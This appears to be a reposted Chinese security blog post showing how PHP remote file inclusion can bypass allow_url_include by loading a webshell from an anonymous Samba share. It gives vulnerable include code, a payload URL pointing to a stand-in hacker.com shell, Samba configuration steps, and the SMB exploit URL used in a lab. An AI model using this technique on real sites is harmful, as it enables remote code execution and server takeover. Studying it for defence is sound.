内容简介:前言为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点。正文
作者:Ethan
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:paper@seebug.org
前言
为什么有今天这篇文章?原因是我在浏览Twitter时,发现关于远程文件包含RFI的一个奇淫技巧!值得记录一下,思路也很新奇!因为它打破我之前以为RFI已死的观点。
正文
RFI引出
我们知道 php 最危险的漏洞函数类别之一就是文件包含类的函数,诸如 include
, include_once
, require,require_once
语句的时候,都会使用 $_GET
或者是其他未经过滤的变量,这就是一个主要的安全风险。
在PHP应用中,通常会有两个问题导致RFI漏洞。其中之一就是应用程序逻辑错误。这些漏洞产生的原因是本来应该被包含到另一个页面的文件并没有被包含,而是包含了其他文件。当这些文件独立执行时,就没有配置文件来指定这些变量的默认值,如果web应用配置不正确的话,用户就可以自己指定文件作为请求的一部分。
用一个最简单的例子来演示一下RFI
<?php $file=$_GET['file']; include($file); ?>
在上面的代码中,file参数从get请求中取值,并且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样攻击者就可以发起相应的请求,从而让应用程序执行恶意脚本。例如,一个webshell如下:
http://example.com/?file=http://hacker.com/shell.php
通过这样操作,我们就可以远程包含一个shell,造成了RCE,但是这样操作有一个前提,要在 php.ini
中设置如下:
- allow_url_fopen=on - allow_url_include=on
正常情况下,当这两个设置为off时,这个漏洞是不存在的!
另辟蹊径
PHP和SMB共享文件访问
在PHP配置文件中, allow_url_include
包装器默认设置为“关闭”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使 allow_url_include
和 allow_url_fopen
都设置为off,PHP也不会阻止SMB URL加载。
攻击场景
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含Web shell的PHP代码。
首先我重新配置PHP环境并在php.ini文件中禁用 allow_url_fopen
以及 allow_url_include
。后来配置的SMB服务器具有匿名读访问权限。SMB共享准备就绪后,利用易受攻击的应用程序
PHP环境设置
首先我们要把被攻击主机的php.ini的 allow_url_fopen
和 allow_url_include
设置为Off
执行phpinfo查看配置是否成功
在继续之前,让我们确保当我们尝试访问受我们控制主机的Web shell时,PHP代码不允许远程文件包含
当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI!
使用匿名读取访问权限配置SAMBA服务器(Linux)
使用下面的命令安装SAMBA服务器:
apt-get install samba
创建SMB共享目录:
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
运行以下提到的命令以删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面的内容放在 /etc/samba/smb.conf
文件中
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
重新启动SAMBA服务器以应用配置文件 /etc/samba/smb.conf
中的新配置
service smbd restart
成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求凭据。
在我的例子中,SAMBA服务器IP是192.168.23.129,我需要访问Windows文件浏览器中的SMB共享,如下:
\\192.168.23.129\
在SMB服务器中共享PHP Web shell
在目录 / var / www / html / pub
中共享PHP shell,这是SMB共享指令 ethan
的目录。
这里放了两个shell,一个一句话 ant.php
用来测试蚁剑连接,一个大马 poc.php
接下我们开始攻击,首先包含 poc.php
执行我们的大马!
http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php
尝试蚁剑连接一句话!
Then, we get it!
后记
有时候我们会局限在传统安全思维的禁锢,导致我们的视线范围缩小了许多,因此,打破固有思维,才能发现意想不到的漏洞!
参考链接
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
以上所述就是小编给大家介绍的《RFI 绕过 URL 包含限制 getshell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
R语言实战(第2版)
[美] Robert I. Kabacoff / 王小宁、刘撷芯、黄俊文等 / 人民邮电出版社 / 2016-5 / 99.00元
本书注重实用性,是一本全面而细致的R指南,高度概括了该软件和它的强大功能,展示了使用的统计示例,且对于难以用传统方法处理的凌乱、不完整和非正态的数据给出了优雅的处理方法。作者不仅仅探讨统计分析,还阐述了大量探索和展示数据的图形功能。新版做了大量更新和修正,新增了近200页内容,介绍数据挖掘、预测性分析和高级编程。一起来看看 《R语言实战(第2版)》 这本书的介绍吧!